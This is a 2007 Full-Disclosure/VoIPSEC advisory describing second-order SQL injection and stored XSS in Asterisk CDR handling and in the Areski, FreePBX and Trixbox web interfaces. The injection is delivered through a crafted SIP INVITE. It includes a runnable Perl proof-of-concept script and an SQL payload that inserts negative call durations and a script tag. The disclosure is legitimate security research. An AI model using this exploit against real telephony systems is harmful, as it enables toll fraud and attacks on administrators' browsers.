[VOIPSEC] XSS and SQL injection via SIP (part 2) and toll fraud bonus
Radu State
State at loria.fr
Fri Oct 19 18:59:32 CDT 2007
In a previous post (http://seclists.org/fulldisclosure/2007/Oct/0174.html) ,
we have posted how XSS injection can be performed over SIP to inject
malicious JavaScript into the browser of an user that check the call
history of his phone. In this post, we will detail how XSS injection can be
performed over SIP by an additional SQL injection.
Some SIP proxies store information gathered from SIP headers into databases
used for billing and accounting purposes. This is also the case for the
vulnerability disclosed in the following. If this information is not
properly filtered, once it will be displayed to the administrator it can
perform a second order SQL Injection, that is : during the display, it gets
interpreted as SQL by the application. In this case, two things can result:
First, the database can be changed (for instance the call length can be
changed to a small value and thus the caller can do toll fraud. Sometimes,
if the target system is not well secured, SQL injection can lead to system
compromise because most database server allow some interaction with the
target OS.
However, the additional feature is that XSS can also result, because
JavaScript can be stored into the database with the SQL injection and
executed on the browser when the admin will check it (this is a kind of log
Injection process). As was pointed out in my previous posting, XSS can be
used with tools like Beef and XSS proxy to scan the internal network,
deactivate firewalls, basically all the dangers of CSRF/XSRF are not a
reality. The main issue is that most applications that deal with CDR data
are not considering this type of threat
Title : SQL injection in asterisk-addons and XSS injection in WWW
application in Areski, FreePBX and Trixbox
Id: KIPH 12
Credits
Humberto Abdelnur (Ph.D student) the Madynes group at INRIA
Radu State (Ph.D), the Madynes group at INRIA
Olivier Festor (Ph.D), the Madynes group at INRIA
Software version for which vendors were notified:
Asterisk-addon (SQL injection)
Areski v 2.0.1 and earlier (XSS injection)
FreePBX (2.3.00 and earlier) XSS injection
Tribox v.2.3.1 and earlier (XSS injection)
Severity: High, XSS and SQL injection can lead to the compromise of an
internal network
Overview:
Areski, FreePBX and Trixbox use the information stored in Asterisk database
in order to manage, compute generate billing reports or display the load
of the PBX.
Vulnerability Synopsis:
. This issue will allow, to a malicious user, two main attacks:
1. Inject SQL statements which will obfuscate the quantity of minute
made for the billing
2. Inject through the SQL statement values which will be recognized as
a Java script when a WWW management application for CDR run.
The attack may be performed by an unsubscribed user in the domain (if
anonymous calls are allowed).
This attacker may inject negative number in the CDR table in order to
decrease the minutes of calling. Also, the attacker may inject Java Script
tags to be executed by the administrator PC when she/he enter to the CDR
website.
Impact:
Information from the database can be manipulated for malicious used.
Execution of malicious scripts may be executed in the administrator machine.
Proof of Concept:
The script will create an entry with duration values -9 and
<script>alert(1)</script> that will be show when the administrator check the
website.
Command: asterisk_cdr_sqlinjection.pl <callUser> <targetIP> <targetPort>
<attackerUser> <localIP> <localPort>
--
#!/usr/bin/perl
#############################################
# Vulnerabily discovered using KiF ~ Kiph #
# #
# Authors: #
# Humberto J. Abdelnur (Ph.D Student) #
# Radu State (Ph.D) #
# Olivier Festor (Ph.D) #
# #
# Madynes Team, LORIA - INRIA Lorraine #
# http://madynes.loria.fr #
#############################################
use IO::Socket::INET;
use String::Random;
$foo = new String::Random;
die "Usage $0 <callUser> <targetIP> <targetPort> <attackerUser> <localIP>
<localPort>" unless ($ARGV[5]);
sub iso2hex($) {
my $hex = '';
for (my $i = 0; $i < length($_[0]); $i++) {
my $ordno = ord substr($_[0], $i, 1);
$hex .= sprintf("%lx", $ordno);
}
$hex =~ s/ $//;;
$hex;
}
$callUser = $ARGV[0];
$targetIP = $ARGV[1];
$targetPort = $ARGV[2];
$attackerUser = $ARGV[3];
$attackerIP= $ARGV[4];
$attackerPort= $ARGV[5];
$socket=new IO::Socket::INET->new(
Proto=>'udp',
PeerPort=>$targetPort,
PeerAddr=>$targetIP,
LocalPort=>$attackerPort);
$scriptinjection= iso2hex("<script>alert(1)</script>");
$sqlinjection= "',1,2,3,4,5,-9,-9,0x$scriptinjection,6,7,8)/*";
$callid= $foo->randpattern("CCccnCn");
$cseq = $foo->randregex('\d\d\d\d');
$sdp = "v=0\r
o=Lupilu 63356722367567875 63356722367567875 IN IP4 $attackerIP\r
s=-\r
c=IN IP4 $attackerIP\r
t=0 0\r
m=audio 49152 RTP/AVP 96 0 8 97 18 98 13\r
a=sendrecv\r
a=ptime:20\r
a=maxptime:200\r
a=fmtp:96 mode-change-neighbor=1\r
a=fmtp:18 annexb=no\r
a=fmtp:98 0-15\r
a=rtpmap:96 AMR/8000/1\r
a=rtpmap:0 PCMU/8000/1\r
a=rtpmap:8 PCMA/8000/1\r
a=rtpmap:97 iLBC/8000/1\r
a=rtpmap:18 G729/8000/1\r
a=rtpmap:98 telephone-event/8000/1\r
a=rtpmap:13 CN/8000/1\r
";
$sdplen= length $sdp;
$msg = "INVITE sip:$sqlinjection\@$targetIP SIP/2.0\r
Via: SIP/2.0/UDP $attackerIP;branch=z9hG4bK1;rport\r
From: <sip:$attackerUser\@$attackerIP>;tag=1\r
To: <sip:$callUser\@$targetIP>\r
Call-ID: $callid\@$attackerIP\r
CSeq: $cseq INVITE\r
Max-Forwards: 70\r
Contact: <sip:$attackerUser\@$attackerIP>\r
Content-Type: application/sdp\r
Content-Length: $sdplen\r
\r
$sdp";
$socket->send($msg);
More information about the Voipsec
mailing list